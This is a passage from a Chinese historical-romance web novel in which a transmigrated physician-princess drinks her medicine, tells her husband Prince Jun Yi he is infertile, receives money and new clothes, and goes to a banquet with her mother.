“那还不是你这个人就叫人放不下防备啊。”沈听晚翻了个白眼,鄙夷的道 “好了,你把药喝下去,本王让人去给你那甜蜜饯,要不就让人给本王也煎一碗,我们两个一起喝,好不好?” 为了能让沈听晚把药喝下去,快点把疹子消下去,君翊也是豁出去了。 大不了就和小姑娘一起喝药,这样也能鼓励鼓励她。 其实君翊也知道,凡事女子都不喜欢喝药,但是像小姑娘这样抗拒的,还真是不多见啊。 沈听晚也是好不容易下定决心,准备把药碗接过来,一口气给自己灌下去得了,可却被君翊突然间的话打断了。 她没好气的瞪了一眼。 “我的药你喝算怎么回事,你喝我也好不了!” 沈听晚深深地吸了口气。 就是一碗药吗,喝下去她还能死是怎么的! 第130章 丢大人了 看着眼前君翊和暗祁的眼神纷纷流露出笑意来,沈听晚的心里更为恼火起来。 她咬牙切齿的说:“就是一碗药吗,谁怕喝药啊,我现在就喝给你们看!” 输人也不能输阵! 在君翊和暗祁两人戏谑的眼神注视下,沈听晚果断一拿夺过药碗,然后把碗递到嘴边就往嘴里一口灌下去。 咕噜,咕噜…… 好苦! 真是苦的难以下咽! 不过沈听晚还是一口气把整碗的药灌进了胃里头,苦涩的药味儿充斥着她一整个口腔之中,沈听晚的双眉也拧巴成了两条毛毛虫状,那痛苦的样子就好像是被逼着喝了碗毒药似的。 见状,君翊和暗祁也是想笑又不敢笑出声来,生怕他们这一笑,就害得沈听晚把刚喝下去的药全都吐出来。 沈听晚在心底不停的安慰着自己,药碗里那黑黢黢的汤药可算是见了底。 “水!快给我喝水!” 沈听晚把药碗塞进暗祁的怀里,又赶忙伸手指了指桌子上的茶壶。 她现在都感觉,自己的心和肺还有整个身体都是苦的,嘴里满是苦味,一张嘴说话就一股子药味,再不喝水把药味压下去,她肯定受不了胃里翻涌再把好不容易喝下去的药给吐出来。 “王妃娘娘您忍着点,水来了!”暗祁立马走到一旁的桌子前,倒了杯水递过到了沈听晚的面前。 看着眼前的沈听晚满脸皱成了苦瓜似的小脸儿,暗祁也是确定了,他们王妃娘娘的确是怕苦的很。 沈听晚一把将暗祁手上的茶杯接过来,喝了一大口之后立马又尽数吐了出来,她一脸诧异的道:“怎么是茶水?” 暗祁一顿,一时之间还没反应过来,便见道面前的沈听晚又忙开口:“去弄些水来,茶水不行,解药性,快给我水!” 她废了好大半天的力气才把一碗药喝下去,这杯茶水要是下了肚,那岂不是前功尽弃了。 沈听晚一边说着,一边仰着头看向屋顶。 她想着,自己一旦低下头,准保会将刚喝下去的药给吐出来。 沈听晚打赌,君翊这家伙一定就等着看她把药吐出来的画面呢,所以…… 她就是死,也绝不能把药给吐出来! 憋着! 死也要憋着。 绝不能让这两个家伙看了她的笑话! 而与此同时,君翊的脸上也是不敢又半点笑意,强忍着开口:“快去给王妃倒杯清水来,另外,弄些蜜饯,给王妃压一压。” 小姑娘还不容易把药喝了,可不能再让她吐出来 沈听晚可是错怪了君翊,其实他是最希望小姑娘能够把药喝下去的。 因为只有喝了药,小姑娘的病才能好啊。 暗祁又是一阵的忙活,又是倒水又是端来梅子蜜饯,沈听晚的胃里也是一阵折腾,被折腾的差不多了,才终于算是把药彻底的咽下去,不会再吐出来了。 呼…… 这喝个药,真是太费劲了…… 沈听晚被这么一折腾,整个人都失去了全部挣扎的力气。 她今天算是彻底的妥协了,靠在床边,一身的大汗,一动不动,一脸生无可恋的样子。 这人啊,生什么都行,就是别生病。 一场病下来,不被病痛折磨个半死,也会被一碗药给活活苦死。 简直是太痛苦了! 躺在床上的君翊也是大大的松了口气。 小姑娘可算是把药彻底喝下去了! “可惜了,昨天那碗药王妃娘娘要是听着张太医的话喝了,保不齐现在就已经好了呢。” 暗祁端着空药碗走出去,走到门口,略带惋惜的开口说道。 沈听晚身体一僵,脸也是更加红的一批。 她原本还想着就算是不喝药,有她特制的药膏,涂上几天,也是你能痊愈的。 哪成想,那药膏突然间就失效了呢。 丢人。 实在是有些丢人啊啊啊! …… 沈听晚脸上的疹子来的凶猛,不过去的也快,因为有君翊亲自看着,沈听晚又是被硬灌下去了两天的药,脸上的疹子便彻底不见了,一整个精神焕发,面色也红润了不少。 就连暗祁见着都连连称奇,他们王妃娘娘的恢复能力,可真不是一般人可以比得了的啊。 当然了,沈听晚的病是好了,不过给君翊的治疗还是要继续的。 时间一晃,半个月的时间过去了。 沈听晚这些日子里,在厨房,和君翊的房间,几乎是两点一线的忙碌着。 她的大部分时间,不是在给君翊施针医治,就是给君翊熬药,要么就是在准备之后一段时间对君翊的复健做准备,每天忙忙碌碌的,甚至都叫沈听晚感觉,一天的时间有些不大够用。 这样忙碌的过着每一天,几乎让沈听晚根本没有多少时间去过分关注王府以外的事情。 不过,沈听晚没工夫关注外面,但是这京城之中,可是有不少人眼睛盯着她这个和翊王殿下刚成亲不久的翊王妃。 这不在半个月之后的某一天,沈听晚便收到了她嫁入翊王府之后的第一张请帖。 只见沈听晚端着药碗进门,门外暗蒙便上前敲门走了进来:“王妃娘娘,宁远侯府送来请帖,说五天后定远侯的孙子周岁宴,请王妃娘娘去做客。” “定远侯府?”沈听晚的神色一愣。 随后又突然间想起,好像书里头确实有过这么一回事来着。 只是在书中,原主并非是翊王府王妃,而是君宁玄那个名存实亡的太子妃。 虽然定远侯也看在了她是太子妃的缘故也送来了请帖,可他们那些权贵到底是看不上原主的。 再加上叶雪初那时候也成为了太子侧妃,而且与君宁玄两人在京城各处都是大秀恩爱。 所有人都只知太子侧妃,而对她这个小炮灰太子妃却是嗤之以鼻,那场宴会,虽然明面上不敢有人明目张胆的过分为难,但是只要一看见她,难免都是要说上几句嘲讽的话。 沈听晚还记得,那宴会上好像有一个人,对原主的恶意是尤其的明显。 那个人是谁来着…… 沈听晚眉头紧蹙,努力的想了想。 第131章 重来不用女人来撑场面 不知道是不是因为时间过得太久的缘故,书中的挺多细节沈听晚都有些淡忘了,只不过,那个人很关键,沈听晚一定要想起来。 而且在沈听晚的印象里,似乎那个人的年纪已经很大了,而且在京城之中的威望也不小来着。 哦! 她想起来了! 那不就正是当今皇后的母亲,永国公府的老夫人。 就是那个老太婆! 也是君宁玄的曾外祖母。 沈听晚记起来了,那个时候,原主明明已经和君宁玄拜了堂成亲,而且还是身份尊贵的太子妃,本应该所有人都应该对原主礼敬三分的。 可偏偏君宁玄的那个曾外祖母的存在,当着一众人的面,不紧奚落她,还在一整个席面上,一直都拉着身为侧妃的叶雪初唠着家常。 而且话里话外无疑不暗示众人,叶雪初没有成为太子妃,她是有多惋惜,丝毫都没有把原主这个太子正妃放在眼里过。 那一日,母亲被气得够呛,原主也是碍于永国公老夫人是长辈的缘故,敢怒不敢言,只能咬着牙关强受着委屈。 “怎么了?”君翊见着沈听晚一直没说话,脸上有些担心:“你如果不想去,就叫人把帖子回了,不去也不打紧的。” 经过半个月的恢复,君翊的身体已经有了很大的好转。 现在身体已经有了知觉,而且还能自己支撑住身体,从床上坐起来了,当然,独自站立行走,还是有些费劲,但也不是不能做到的。 是沈听晚,一直坚持着叫君翊在多养一养,好好复健,以至于倒是君翊正式下地行走,还是推迟了好些天。 君翊是一直蠢蠢欲动的,他能够感觉到自己的腿一天天有了力量,似乎可以不用人扶着,也能站起来。 事实上,君翊也私底下偷偷的干过,当然,在沈听晚的面前看他还是不敢擅自行动的,只是在沈听晚去厨房熬药的功夫,他才把暗祁暗蒙叫进来,在一旁陪着他。 沈听晚回过神来,看着床上那身子有一点好转,便忍不住要起来行走的君翊,上前用力拍了一下君翊那正要蠢蠢欲动的手,用眼神警告的瞪过去:“你是不是想要以后好了,身上留下后遗症才肯罢休!” 君翊这个家伙,简直就是她见过的最不听话的病人,而且没有之一! 君翊悻悻地把支撑在床边的手收了回来:“我就是想试一试……” 沈听晚白了一眼,随即冷哼一声地道:“平日里我不在房间里的时候,你也没少试!” 在她面前装什么? 真以为她什么都不知道吗? 沈听晚一脸鄙夷的看过去:“我不拆穿你,那你在我面前,也最好别太放肆! 你现在的腿还没完全好利索呢,我平日里让你做的复健就已经是锻炼了,你是底下的那些,都是超负荷用腿,再这么胡来,你是想要一辈子都只能躺在床上才心满意足是吧!” 沈听晚一脸面无表情,说话的语气也充满了责怪,但是眼底深处却是溢出对君翊的担忧之色。 君翊自然也将小姑娘眼底的那一抹担忧看在了眼里,嘴角勾起一抹笑:“我的身体我自己清楚,不会有事的。” 他还是有分寸的,只要自己的双腿有一点不对劲,他就会立马停下来的,绝不会过度只用双腿。 沈听晚看了君翊一眼,上前扶住君翊那结实有力的胳膊,低头盯着君翊那双腿。 “我如果没猜错的话,你最近是不是能感觉到双腿小腿肚子会抽筋? 你背着我私下走路的时候,腿会疼的吧?” 沈听晚的注意力一直都放在了君翊的腿上,自然没看到,坐在床上的男人,幽深的黑眸之中漾这的那一抹浅浅的笑意。 这一笑,更是平添了几分男人成熟的魅惑。 沈听晚蹲下身去,撩起君翊腿上的袍子,将里面的裤腿挽起来,仔细的查看着情况。 就在这时,一只强有力的手,将她拉了起来,沈听晚的身形一顿,下意识抬眼看过去,便听到了一道低沉充满磁性的声音,在她耳边徐徐响起:“你还没回答我的话,你如果不想去,就不用去的。” 君翊望着眼前的小姑娘,见着她额头边上的毛茸茸碎发,叫他有一种忍不住想要将其挽到耳后的冲动。 君翊将手停顿在半空中,指尖摩挲了几下,最后还是克制住了那股冲动。 沈听晚紧拧的美眉并未松开,她仰着头,平视着眼前的男人:“我要是不去,是不是会让翊王府失了颜面?” “你不用在意这些,本王从来都不在乎什么颜面的。”君翊下意识开口的道。 他从来都用不上一个女人给他撑场面。 而且,只要是小姑娘不愿意做的事情,任何人都不能强迫她什么。 这是他能给到小姑娘的最大保障。 沈听晚想了想,随后摇了摇头:“为什么不去呢,既然是孩子周岁宴,那自然是要去的,回头我去给那个孩子挑一个大金锁,这也算是我只为翊王妃第一次去赴宴了。” 绝不能失了礼数。 沈听晚知道,君翊是处处都在为她找想的,她如果说不想去,君翊一定不会强迫她。 但沈听晚要去。 不光是为了顾及到翊王府的颜面她要去,也是为了,给从前书中的原主小炮灰,要回一个公道! 她现在不是从前的沈听晚,也不是君宁玄的太子妃了,所以她不用惯着任何人。 只不过…… 沈听晚又有些犹豫的看向君翊:“嗯……就是如果我在宴会上做了些有损王府的事情,你会不会怪我给你丢人啊?” 沈听晚之所以这么问也是担心,她怕到时候,自己收不住在宴会上和那个永国公府的老太婆闹起来。 到时候,丢人肯定是在所难免的了。 虽然沈听晚现在也是在极力的克制自己的情绪呢,但毕竟不是在现场,到那天,沈听晚真不敢保证自己能不能劝得了自己的情绪啊。 “王妃想做什么,就只管去做,总之在外面闯多大祸都不要紧,但一定要保护好自己,其他的,就算是把人打死了也没关系,有本王给你兜着呢。” 第132章 可能要绝嗣 君翊的这句话,算是给了沈听晚极大的底气。 事实上,君翊也并不是随便说说而已。 从前他一直病重,只能躺在床上,连动也动弹不了一下。 那个时候,或许君翊还无法给沈听晚任何的保障和底气。 可是现在,一切都变了。 他不再是那个连平常的起居都摆脱不了别人伺候的瘫子了,自然也有足够的能力,可以为小姑娘兜底。 “君翊,谢谢你!” 一道甜美娇软并且还透着掩饰不住的愉悦声音响起。 沈听晚脸上的笑意灿烂如花,双眼弯弯的,愉悦的心情根本无法遮掩的住。 君翊这个男人嘛,身上还是有挺多优点的。 虽然是平日里有那么一丝丝不配合她的治疗,但架不住他长得好看啊,身材也是一绝,更重要的一点是,还具有保护自己人的觉悟和能力。 就冲这一点,沈听晚就感觉,她果然是没救错人。 而且她刚穿越过来,找的这个盟友,找的实在是太对了! 沈听晚甚至都有些庆幸,那时候她第一个想到的人会是君翊。 如果换做是另外一个男人,估计都不会做到像君翊这个份上来的。 君翊抬眸去看沈听晚,眼底闪过一丝疑惑来。 沈听晚勾唇浅笑:“有你这句话,我就什么都不怕了,接下来我就可以没有任何负担的去参加这场周岁宴了!” 听见这话,君翊忍不住轻笑:“我不认为,刚才如果我不说这话,你就会畏惧这场宴会。” “当然不可能。”沈听晚斩钉截铁的道。 她是不会惯着任何一个敢在她头顶上肆意蹦跶的小人的。 “好了,这个话题结束,接下来我可能要和你说一个不算好的消息。” 言归正传,沈听晚又是迟疑了一瞬。 其实,这件事情,她在他们大婚那一日就应该告诉君翊的。 只不过那时候,沈听晚根本不能说,君翊的求生欲太弱了,而且整个身子都破破烂烂的,根本就承受不住那样的打击。 为什么现在又能说了,那还是因为沈听晚看着君翊现在的样子,应该是可以承受住的。 “什么?” 看着小姑娘脸色又变得严肃起来,君翊也跟着紧张了不少,不禁坐直了身子,脑海里的那根弦也立马紧绷。 不会是他的身体又出了什么状况了吧? 不会是……他现在能站起来,也是短时间错觉吧? 沈听晚张了张嘴,话到嘴边,却不知道该怎么委婉的说给君翊来听。 因为她发现,刚刚还满眼意气风发的君翊,此刻就仿佛像是一个小心翼翼患得患失的孩子,那双深邃的凤眸之中也满是紧张之色。 好吧…… 沈听晚承认,这件事对一个男人的伤害确实挺大的。 沈听晚顿了顿,轻咳一声:“咳咳,再有那个月,你的身体就能恢复正常了。” 君翊紧盯着沈听晚的双眸微微动了动,似乎在沈听晚的话结束之后,能够感受到他暗暗松下的一口气。 还好,不是他的身体又出了他不能接受的问题。 在君翊看来,只要他能够站起来,成为一个正常人,哪怕没有从前的体魄,就是让他今后都无法动用武力,他也是能接受的。 只不过,沈听晚后面的话,却是叫君翊怎么也没能想到的。 “但是,一年前你在战场上受到上,终究是伤到了根本……” 君翊听到这里的时候,原本放松的眉毛又拧紧了几分。 沈听晚叹了口气,干脆一口气直接说道:“如果只是单纯的外伤,道还有治愈的希望,但是你别忘了,可是有人在暗中给你下了足足一年的毒,毒虽然被我解了,但也确实伤到了药害,导致你的身体发生了不可逆转的损伤。” “比如呢……”君翊嗓音有些发紧,忐忑的问道。 其实此刻的君翊,心里也已经隐约猜到了个大概来。 可是不听到沈听晚亲口说,君翊还是无法相信。 “比如说,你可能这辈子都无法拥有属于自己的孩子……确切地说就是绝嗣。” 这个现实却是足够残酷,但是沈听晚做不到一直隐瞒君翊。 身体是君翊的,所以他有权利知道自己的身体情况。 当然了,沈听晚说的也并非绝对。 除非君翊有生之年能有幸遇到一个天生好孕体质的女人。 否则,君翊这辈子绝嗣就是无疑的了。 然而这天生好孕者,哪里有那么容易去碰啊? 这样的女子,千万人之中也很难找到两个。 而且,有着这种特殊能力的女子,平时表面上根本看不出来,只能通过房事才能判断出来。 而判断起来也并不算难,因为这样的女子,一旦与男人同了房,只一次,便会一举得子。 在从沈听晚口中得知自己以后都不会有自己的孩子,君翊悬着的心也终于死了,他坐回到床边,明显变得比刚才要沉默不少。 沈听晚抬眼望向君翊,红唇抿成一条直线:“其实当时我答应太后要给你延嗣,确实是不得已而为之,如果我不怎么说,太后和陛下不可能让我与太子解除婚约嫁给你。 我知道,我这么说,对你其实是挺残忍的,但我也无法做到隐瞒你,你是个好人,最起码对我的好,叫我说不出半个不字。” “凭你的医术,也治不好我吗?” 沈听晚紧低下头,半晌,才见她摇头的开口:“对不起……” 她能够把人从鬼门关门口给拉回来,但这不可逆转的损伤,她实在是束手无策啊。 如果有一点希望,沈听晚也不可能会放弃的。 沈听晚的这些话,就仿佛一盆凉水,就这样直不楞登的浇在了君翊的脑袋上,浇的他措手不及。 见着君翊那落寞的脸庞,沈听晚想了一下,随即又低咳一声。 “嗯……其实我可以帮你好好调理一下,虽然你没办法又自己的孩子,但可以保证不影响你日后使用。” “咳咳……”!? 沈听晚的话音刚一落下,君翊便被惊的猛然剧烈咳嗽了起来,一张俊美的脸庞也已肉眼可见的速度变得通红。 第133章 他的性福生活? 不影响日后使用? 这……这是能从一个娇俏小姑娘口中说出来的话吗?! 他使用? 和谁一起使用? 看着君翊瞬间涨红的脸色和紧握的拳头,沈听晚这才后知后觉地意识到自己说了什么,心头猛地一跳。 什么使用? 君翊和她吗?! 这话确实是很难不让人误会啊,君翊这家伙该不会以为她是个多么饥渴难耐的女人吧? 沈听晚白皙如玉的脸颊霎时染上两抹绯红,手指不自觉地绞着衣角,声音越来越小:“那个...你别误会,我的意思是,我可以把你治好,不影响.……不影响你日后和其他女子……那个……” 这么说,好像更不对劲了…… 她现在是翊王的正妃,怎么能盼着自己的丈夫和别的女人同床啊? 沈听晚懊恼地咬住下唇,恨不得找个地缝钻进去。 君翊望着眼前越说越离谱的小姑娘,无奈地仰头望天,喉结滚动了几下,才勉强压下心头的羞恼。 主动转移开话题:“医治起来困难吗?” “哦,那倒不会,只要你配合我,就不困难。”沈听晚深吸一口气,努力恢复镇定。 “好。” “这么说,你是接受了?” 君翊沉默片刻,神色复杂的很:“……” 不然呢? 不接受,难不成是要让他找一块豆腐撞死吗?! 沈听晚也整理好情绪,心里更是感叹,不得不说,君翊的心理素质的确是足够强大,这么短时间内,就能接受一个这么残酷的事实,可不是所有男人都能做到的。 她清了清嗓子,尽量用专业而平静的语气说:“那接下来,等你能够正常行走之后,就开始给你治那里的毛病。” 沈听晚还担心君翊听不明白,犹豫了一下,还是抬起纤细的手指,朝着君翊身下某个隐秘部位指了指。 君翊又是好一阵的无语。 他不是傻子,他能听懂小姑娘的话好吧…… 其实,倒也不必说的这么具体的吧。 君翊实在是受不了再从小姑娘的口中听到任何关于他绝嗣的话,他适时的转移话题:“出门赴宴,怎么也得需要做几身衣裳,回头去请尚衣坊的林娘子给你多做几身。” 君翊心里盘算着,自打沈听晚嫁给他到现在,出了从娘家带来的衣裳以外,沈听晚就在没有穿过新衣裳。 按照规矩,新媳妇进门,夫家是应该安排人给刚过门的夫人做至少要八套衣裳的,一年四季怎么也要各两套才算和规矩。 只不过沈听晚嫁给他的时候,他完全没有那个心思,而且,沈听晚进门的太过突然,府上也没来得及准备这些。 现在,也确实应该好好补偿一下小姑娘了。 君翊心里暗想着,别人家新媳妇有的,他的小姑娘也不能少了,这一次至少让尚衣坊的娘子给小姑娘做出来五六十套往上,让小姑娘每天换着花样穿。 在君翊看来,小姑娘哪有不爱美的呢,沈听晚自然也不会例外。 然而,事实上,君翊还真想错了。 只见沈听晚想了想,眉头微微一拧,犹豫的道:“也不必做那么多吧,那得费多少银子?” 君翊淡淡一笑:“这点银子,王府还是出得起的。” 沈听晚撇了撇嘴,抬眼看了君翊一下:“有那么些银子,你倒不如直接折现给我好了。” 她缺的是衣服吗?她缺的明明是银子好吧! 君翊顿了顿,抬头有些古怪的看向沈听晚一眼:“库房的钥匙不是在你手上?你需要买什么,尽管拿了银子去买就是了。” 他君翊的妻子,难不成还能缺了银子吗? “那不一样。” “怎么不一样?” 沈听晚叹了口气:“和你说了你也不明白,总之,王府的银子是你的,那不是我个人拥有,我要的是只属于我的银子,是我可以全权支配的钱。” 王府的银子再多,那也是别人的,她现在是翊王妃不假,但终究是假的,让她花君翊的钱,沈听晚心里头多多少少还是有些负担的。 君翊还是没明白沈听晚的话究竟是什么意思。 在他看来,小姑娘既然嫁给了他,那属于他的一切,都有沈听晚的一份。 且不说他和沈听晚只见究竟是不是真正的夫妻不谈,就单凭他这条命是沈听晚救回来的,这份恩情,就是沈听晚把王府全都败光了,他也绝无怨言。 不过不明白归不明白,君翊还是顺着沈听晚的话继续说:“那我叫暗祁等下去库房,将给你做衣裳的银子折了现银给你。” 沈听晚的眼前顿时一亮,双眼弯成一道月牙:“当真?” 君翊见着小姑娘满脸的一副小财迷的模样,眸底染上几分无奈与宠溺的笑意:“自然是真的,这些银子你可以全权支配,想买什么就买什么,至于做衣裳的银子,也从库房里走账。” 君翊心里想着,小姑娘既然这么喜欢银子,那他不如就投其所好,兴许这么做,还能让小姑娘对他的防备心稍稍放下来一些也不一定。 对于君翊提的意思,沈听晚自然是说不出来半个不字,毕竟谁能拒绝男人这又是送银子又是送衣裳的双重诚意呢! 她心情很是愉悦的看向君翊,悦耳的嗓音,娇声道:“君翊,你真好! 就凭这一点,你放心,你后半生的性福生活,我绝对给你保住了!” 她虽然不能给君翊一个孩子,但是让君翊今后在和其他女人行房事的时候,不露怯,还是能做到的! 然而,听到这话的君翊却是一头黑线,额角青筋直跳。 得,怎么说着说着,这话题又绕回来了?? 一连又是几日,这些日子,尚衣坊的林娘子也是频繁出入翊王府的大门。 而沈听晚为此也是十分苦恼的很。 原本一开始,君翊让暗祁给她送来了足足三千两的银子,沈听晚看着那白花花的雪花银,乐得都要找不着北了。 然而,下一秒,尚衣坊的林娘子便被请到了她的面前。 起初,沈听晚并不在意,只觉得林娘子来过之后,给她量了尺寸,就等着尚衣坊把衣服送来就行了。 第134章 王妃娘娘可真是美呀 可是哪成想,林娘子进门,才是沈听晚噩梦的开始啊! 量好了尺寸之后,尚衣坊也是灯火通明,连夜赶工,按照沈听晚的尺寸,一连做出来十套,不到三天就送到了王府。 结果接下来的这些天,沈听晚除了给君翊做康复治疗,熬药以外,便开始了不停的试衣服的坎坷之路上。 衣服被沈听晚试了一套又一套,每天林娘子都是带着人,送来各式各样的锦缎长裙。 刚开始还不以为意的沈听晚,逐渐发现,事态似乎开始变得有些不大对劲了。 然而等她彻底反应过来的时候,已经晚了…… 沈听晚每天早上起来,一睁开眼,别的什么事都不用做了,一早就被拉去,开始不停的试换衣裳。 整日林娘子不看到沈听晚脸上那副生无可恋的表情,就决不罢休似的。 对此,沈听晚表示,她好像逃,却逃不掉啊啊啊!!! 直到最后,尚衣坊足足送到王府里光沈听晚的衣裳就有将近百十来件,原本被她精心打造成小药房的偏房,瞬间化作一座琳琅满目的大衣柜。 以至于后来,里面的那张大床也放不下了,被王府里的下人,笑呵呵地搬进了主屋里头。 这下子,沈听晚更加无奈又无语了。 如此多的华服,她就是穿到老、穿到死,恐怕也难以穿完啊! 当然,最让沈听晚接受不了的是,她的疹子刚好,还没享受几天享受单独卧房的自在安逸,就又和君翊这家伙睡到了一块儿去了。 到了沈听晚要去赴宴的那一天,沈听晚也是一大早就被春婳和冬卉从拉起来。 因为秋月的身子还没有恢复,这些日子,伺候沈听晚的活,便成功交到了这两个武婢的手上。 两人从前虽然是暗卫,但侍奉主子的功夫还是不输旁人的。 沈听晚此时,脑袋昏昏沉沉的被迫坐在了梳妆台前,因为昨晚贪了晚,子时才入睡,以至于现在,让沈听晚感觉,自己整个人的魂好像都没清醒过来呢。 沈听晚醒来的时候,君翊也不在房间里,不知道去了何处。 对此,沈听晚也表示见怪不怪了。 自从那家伙能下地走路了以后,便开始越发的放肆,刚开始还是短暂地出去几个时辰,见着沈听晚不说什么,到后来,直接夜班出门,清晨天都放亮了才回来,都变成了常有的事儿。 不过,沈听晚也不管了。 她每日给君翊检查身体,发现这家伙简直就是一个神人的存在,自打她打通了君翊的经络以后,君翊的身子每天都在不断的增强 。 就连君翊每天这种作死的行为,也没有给他的身体带来一丁点的损伤。 既然这样,沈听晚也不再操心,随着君翊去了。 总之,反正只要君翊的身体没有意外发生,沈听晚也乐得清闲,省的去当那个小啰嗦。 就在沈听晚一连打了的八个哈欠地时候,沈听晚总算是梳妆好了。 身后的春婳和冬卉望过来,眼中满是惊艳之色,一时竟愣在原地,看得入神。 她们一直都知道,王妃娘娘生的非常好看,哪怕平日里,脸上不带有一点粉黛头饰,也给人一种出水芙蓉的美感。 只是这还是他们第一次见到仔细打扮过的沈听晚。 眉清目秀,白皙的皮肤透着红润的好奇的,俨然一副倾国倾城,只是那双眼睛,却更多几分坚毅与明亮。 “哇!王妃娘娘真好看,沉鱼落雁,闭月羞花!” 春婳是个藏不住事儿的,而且那张小嘴平日里就停不下来,活脱脱的像是个百灵鸟似的叽喳个没完。 这下子看到沈听晚这姣好的容颜,更是不吝啬赞叹的开口。 冬卉的性子却沉稳许多,不过倒是很赞同春婳的夸奖:“王妃娘娘却是好看。” “是吧是吧,冬卉,你都开口了,那就证明王妃娘娘沈家真的漂亮啊! 只是平日里王妃娘娘鲜少打扮,在王府里头也总是打扮的特别素净,不过今儿啊,等王妃娘娘去赴宴,那估计全京城上下所有女子加在一块儿,都不及王妃娘娘半分呢!”春婳又激动的说着。 听着春婳那夸张的语气以及那一整张小脸的惊艳赞叹,沈听晚也表示很是无奈。 不过,她倒是不反对春婳赞叹的话。 原主的这张皮囊,确实是长得好看没错的。 她记得自己刚穿到这幅身体里的那会儿,无意间看到铜镜里面的自己,也是被这张脸惊艳了好一阵子才缓过神来呢。 其实,沈听晚就是属于那种耐看的那种类型,越看越好看,越看越耐看,只不过在原书中,原主嫁到太子府之后,不断受叶雪初的打压,再加上君宁玄这个太子夫君,也从未正眼看过她,以至于后面,原主越来越自卑,不管走到哪里,都低着头,一副不愿意与人交流的样子。 而现在,一切都随着沈听晚的到来,变得不同了。 她也不再是那个唯唯诺诺,软糯不敢有半点反抗的原主小炮灰了。 沈听晚看着铜镜面前的自己,左看看右看看,也表示格外满意。 “今儿,太子府的叶才人也会随太子一同赴宴的吧?” 沈听晚没由来的突然间开口问了一句。 两人同时愣了一下,相视一眼,最后还是春婳率先开口:“是,王妃娘娘,原本那个叶才人位分是不够的,不能与太子一同参加定远侯小孙子的周岁宴,不过……”春婳语气停顿了一下,随即一脸怒气的开口:“是永国公府的老妇人亲自出了面,进宫请见了皇后娘娘,不知道同皇后娘娘说了什么,皇后娘娘就同意了。” 听着春婳的话,沈听晚也不禁冷笑一声。 看来,这永国公府的那个老太婆还是一如既往的喜欢叶雪初啊。 这一点,还当真是没有便一点啊。 也不知道,今天那个老太婆和叶雪初两个人,还能耍出什么幺蛾子来! 她现在已经不是君宁玄的太子正妃了,说起来,却是不用再惯着那帮人 。 第135章 周岁宴 “王妃娘娘,时候差不多了,我们该出发了。”冬卉在一旁沉默片刻,又适时候开口提醒道。 “嗯,那我们走吧。”沈听晚应了一声,便站起身来。 “对了,暗祁暗蒙两人都随王爷出去了吗?” “回王妃,暗祁在王府,王爷说,把暗祁留下,随时听王妃娘娘命令。” “那不用,你传话给暗祁,告诉他,等王爷回来了,叫他在房间里洗干净等我回来。” 额…… 春婳和冬卉顿时被惊的瞪大了双眼,不敢置信的看向沈听晚。 这些话……是她们能听的吗?! 沈听晚也没和两人解释什么,放下了话之后,便抬脚朝着王府门外款款而去了。 此时,王府的马车也早早等在了大门外,见着王妃娘娘从里面出来,门口的侍卫和车夫的眼底也纷纷露出一抹惊艳的目光来。 他们王妃娘娘,生的可真好看! 这么好看的王妃娘娘,估计这个世上,也只有他们王爷能够与之相配的吧。 众人在心里头不禁暗暗感慨道。 多亏了他们王爷长了一张妖孽的俊朗面庞,要不然,估计王爷的心里头恐怕都得有危机感了! “走吧。” 沈听晚抬脚径直上了马车,随即开口吩咐着车夫。 王府的马车也是一路未停,很快便到了定远侯府的大门口。 “王妃娘娘,我们到了。”马车外的车夫恭敬的朝着里面说道。 沈听晚一下马车,正巧便看到不远处将军府的马车也同时停下,马车里,沈夫人也从里面走了出来。 “母亲。”沈听晚的眼前一亮,还以为不会这么快就碰见母亲,没想到,她刚到就正好看见了沈夫人,沈听晚也很很是高兴。 沈夫人从马车上下来,便听到不远处传来自己女儿的声音,也立马朝着声音的方向看了过去。 “晚晚!” 沈夫人快步朝着沈听晚的方向走去,眼中充满了惊喜:“知道今天能看到你,娘昨晚都激动的没睡着!” 沈听晚笑着说:“娘啊,不至于吧,您想我了,尽管派人去王府传一声,我回去看您和父亲就是了呀。” “那怎么能行呢!”沈夫人脸上带着一丝嗔怪的看着沈听晚:“你毕竟是嫁出去的姑娘了,怎么好时时回娘家,免得叫人知道了笑话你。” “我是翊王妃,娘,谁是不要命了,敢笑话我呀。” “你啊!”沈夫人无奈地摇摇头,轻笑着,她抬眼朝着沈听晚的脸颊上看过去,看了半天,见没发现什么异常,又开口:“这里看上的疹子是彻底好了吧?身上的疹子可都消退了?” 沈夫人还一直担心着,自己女儿因为吃了蟹黄酥之后身上起疹子的事情。 即便王府第二天就派人传了话回来,说自己女儿没什么大碍,可作为母亲的,哪里就能真的放心得下来啊。 更何况,不能每天时时看到女儿,光从别人口中得知女儿的情况,更是叫沈夫人整日忧心忡忡。 而今日,见到沈听晚的脸颊光滑细腻,白皙透着红润,沈夫人的心才算放下来大半。 “放心吧母亲,我已经全好啦!” 提到这件事上面,沈听晚还是有些心虚的,脸上略微有些不大自然的道。 “那就好,我们先进去吧。” 沈夫人拉住沈听晚的手不放,见着周围朝着自己女儿这边不断投来的目光,忍不住开口。 沈听晚的这张脸是随了她年轻时候的美貌了,不管走到哪里都能吸引来很多人的目光,不过她反倒是不大喜欢被这么多人关注的感觉,所以便想着和女儿尽快进去。 沈听晚也没多说什么,顺从的任由着沈夫人拉着,两人一同进了定远侯府的门。 只是,两人前脚刚走进侯府,后脚便有人小跑着迎上来:“沈夫人,王妃娘娘来的好早,我家夫人特地命奴婢在这里等着两位贵客来呢。” 沈听晚看着眼前一脸笑的谄媚的婢女,神色有些一愣。 这和书里头写的可不大一样。 原主虽贵为太子妃,也是和现在差不多时候到的侯府,可书里头可没写侯府里专门有人在门口等着她呢。 甚至原主都已经到了侯府后院,定远侯府都没有一个人来接待她,现在想开,那个时候,沈夫人也被人冷待,也和原主有这脱不开的关系。 沈夫人不知道自己女儿在想什么,只是拉着沈听晚地手,然后跟着婢女往里面走着。 “这样的宴会,平日里你很少参加,今儿就跟在娘身边,别人说什么,你都不必管,有娘护着你。” “好。”沈听晚笑着应下来,心里升起一股暖意来:“娘,我都多大啦,现在都嫁人了,自己会照顾好自己的。” “嫁人了,也是娘的孩子啊。”沈夫人宠溺的拍着沈听晚的手,满眼都是自己唯一的心肝女儿。 沈听晚跟着沈夫人一路走到后院,很快便引起了不少人的目光投来。 尤其是沈听晚,今天穿了一身天蓝色锦缎长裙,算不上多浓妆艳抹,虽然梳着为人妇的发髻,却依旧瞧着很是俏皮可爱。 “王妃娘娘和沈夫人长得可真是像呢!”不远处又妇人突然开口传来声音。 “岂止是像啊,简直比沈夫人年轻时还要好看!”有了人开口,自然有人随声附和。 